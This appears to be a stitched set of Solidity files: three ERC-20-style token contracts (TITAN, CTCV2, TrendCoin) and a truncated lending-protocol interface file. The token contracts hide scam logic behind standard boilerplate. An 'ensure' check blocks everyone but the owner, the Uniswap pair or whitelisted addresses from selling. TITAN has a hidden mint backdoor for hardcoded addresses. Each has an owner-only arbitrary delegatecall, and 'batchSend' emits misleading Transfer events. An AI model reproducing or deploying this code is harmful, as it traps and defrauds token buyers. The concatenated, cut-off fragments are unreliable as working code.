function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
//heyuemingchen
contract TITAN {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
CTCV2
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract CTCV2 {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity ^0.5.17;
/*
Trend coin
*/
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TrendCoin {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
DC1
|
pragma solidity 0.6.12;
interface marketManagerInterface {
function setOracleProxy(address oracleProxyAddr) external returns (bool);
function setBreakerTable(address _target, bool _status) external returns (bool);
function getCircuitBreaker() external view returns (bool);
function setCircuitBreaker(bool _emergency) external returns (bool);
function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory);
function handlerRegister(uint256 handlerID, address tokenHandlerAddr) external returns (bool);
function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256);
function liquidationApplyInterestHandlers(address payable userAddr, uint256 callerID) external returns (uint256, uint256, uint256, uint256, uint256);
function getTokenHandlerPrice(uint256 handlerID) external view returns (uint256);
function getTokenHandlerBorrowLimit(uint256 handlerID) external view returns (uint256);
function getTokenHandlerSupport(uint256 handlerID) external view returns (bool);
function getTokenHandlersLength() external view returns (uint256);
function setTokenHandlersLength(uint256 _tokenHandlerLength) external returns (bool);
function getTokenHandlerID(uint256 index) external view returns (uint256);
function getTokenHandlerMarginCallLimit(uint256 handlerID) external view returns (uint256);
function getUserIntraHandlerAssetWithInterest(address payable userAddr, uint256 handlerID) external view returns (uint256, uint256);
function getUserTotalIntraCreditAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256);
function getUserCollateralizableAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function getUserExtraLiquidityAmount(address payable userAddr, uint256 handlerID) external view returns (uint256);
function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) external returns (uint256, uint256, uint256);
function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256);
function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) external returns (uint256);
function setLiquidationManager(address liquidationManagerAddr) external returns (bool);
function rewardClaimAll(address payable userAddr) external returns (bool);
function rewardTransfer(uint256 _claimAmountSum) external returns (bool);
function updateRewardParams(address payable userAddr) external returns (bool);
function interestUpdateReward() external returns (bool);
function getGlobalRewardInfo() external view returns (uint256, uint256, uint256);
}
interface interestModelInterface {
function getInterestAmount(address handlerDataStorageAddr, address payable userAddr, bool isView) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function viewInterestAmount(address handlerDataStorageAddr, address payable userAddr) external view returns (bool, uint256, uint256, bool, uint256, uint256);
function getSIRandBIR(address handlerDataStorageAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount) external view returns (uint256, uint256);
}
interface marketHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function setNewCustomer(address payable userAddr) external returns (bool);
function getUserAccessed(address payable userAddr) external view returns (bool);
function setUserAccessed(address payable userAddr, bool _accessed) external returns (bool);
function getReservedAddr() external view returns (address payable);
function setReservedAddr(address payable reservedAddress) external returns (bool);
function getReservedAmount() external view returns (int256);
function addReservedAmount(uint256 amount) external returns (int256);
function subReservedAmount(uint256 amount) external returns (int256);
function updateSignedReservedAmount(int256 amount) external returns (int256);
function setTokenHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function setCoinHandler(address _marketHandlerAddr, address _interestModelAddr) external returns (bool);
function getDepositTotalAmount() external view returns (uint256);
function addDepositTotalAmount(uint256 amount) external returns (uint256);
function subDepositTotalAmount(uint256 amount) external returns (uint256);
function getBorrowTotalAmount() external view returns (uint256);
function addBorrowTotalAmount(uint256 amount) external returns (uint256);
function subBorrowTotalAmount(uint256 amount) external returns (uint256);
function getUserIntraDepositAmount(address payable userAddr) external view returns (uint256);
function addUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraDepositAmount(address payable userAddr, uint256 amount) external returns (uint256);
function getUserIntraBorrowAmount(address payable userAddr) external view returns (uint256);
function addUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function subUserIntraBorrowAmount(address payable userAddr, uint256 amount) external returns (uint256);
function addDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function addBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function subDepositAmount(address payable userAddr, uint256 amount) external returns (bool);
function subBorrowAmount(address payable userAddr, uint256 amount) external returns (bool);
function getUserAmount(address payable userAddr) external view returns (uint256, uint256);
function getHandlerAmount() external view returns (uint256, uint256);
function getAmount(address payable userAddr) external view returns (uint256, uint256, uint256, uint256);
function setAmount(address payable userAddr, uint256 depositTotalAmount, uint256 borrowTotalAmount, uint256 depositAmount, uint256 borrowAmount) external returns (uint256);
function setBlocks(uint256 lastUpdatedBlock, uint256 inactiveActionDelta) external returns (bool);
function getLastUpdatedBlock() external view returns (uint256);
function setLastUpdatedBlock(uint256 _lastUpdatedBlock) external returns (bool);
function getInactiveActionDelta() external view returns (uint256);
function setInactiveActionDelta(uint256 inactiveActionDelta) external returns (bool);
function syncActionEXR() external returns (bool);
function getActionEXR() external view returns (uint256, uint256);
function setActionEXR(uint256 actionDepositExRate, uint256 actionBorrowExRate) external returns (bool);
function getGlobalDepositEXR() external view returns (uint256);
function getGlobalBorrowEXR() external view returns (uint256);
function setEXR(address payable userAddr, uint256 globalDepositEXR, uint256 globalBorrowEXR) external returns (bool);
function getUserEXR(address payable userAddr) external view returns (uint256, uint256);
function setUserEXR(address payable userAddr, uint256 depositEXR, uint256 borrowEXR) external returns (bool);
function getGlobalEXR() external view returns (uint256, uint256);
function getMarketHandlerAddr() external view returns (address);
function setMarketHandlerAddr(address marketHandlerAddr) external returns (bool);
function getInterestModelAddr() external view returns (address);
function setInterestModelAddr(address interestModelAddr) external returns (bool);
function getLimit() external view returns (uint256, uint256);
function getBorrowLimit() external view returns (uint256);
function getMarginCallLimit() external view returns (uint256);
function getMinimumInterestRate() external view returns (uint256);
function getLiquiditySensitivity() external view returns (uint256);
function setBorrowLimit(uint256 _borrowLimit) external returns (bool);
function setMarginCallLimit(uint256 _marginCallLimit) external returns (bool);
function setMinimumInterestRate(uint256 _minimumInterestRate) external returns (bool);
function setLiquiditySensitivity(uint256 _liquiditySensitivity) external returns (bool);
function getLimitOfAction() external view returns (uint256);
function setLimitOfAction(uint256 limitOfAction) external returns (bool);
function getLiquidityLimit() external view returns (uint256);
function setLiquidityLimit(uint256 liquidityLimit) external returns (bool);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external ;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external view returns (bool);
function transferFrom(address from, address to, uint256 value) external ;
}
interface marketSIHandlerDataStorageInterface {
function setCircuitBreaker(bool _emergency) external returns (bool);
function updateRewardPerBlockStorage(uint256 _rewardPerBlock) external returns (bool);
function getRewardInfo(address userAddr) external view returns (uint256, uint256, uint256, uint256, uint256, uint256);
function getMarketRewardInfo() external view returns (uint256, uint256, uint256);
function setMarketRewardInfo(uint256 _rewardLane, uint256 _rewardLaneUpdateAt, uint256 _rewardPerBlock) external returns (bool);
function getUserRewardInfo(address userAddr) external view returns (uint256, uint256, uint256);
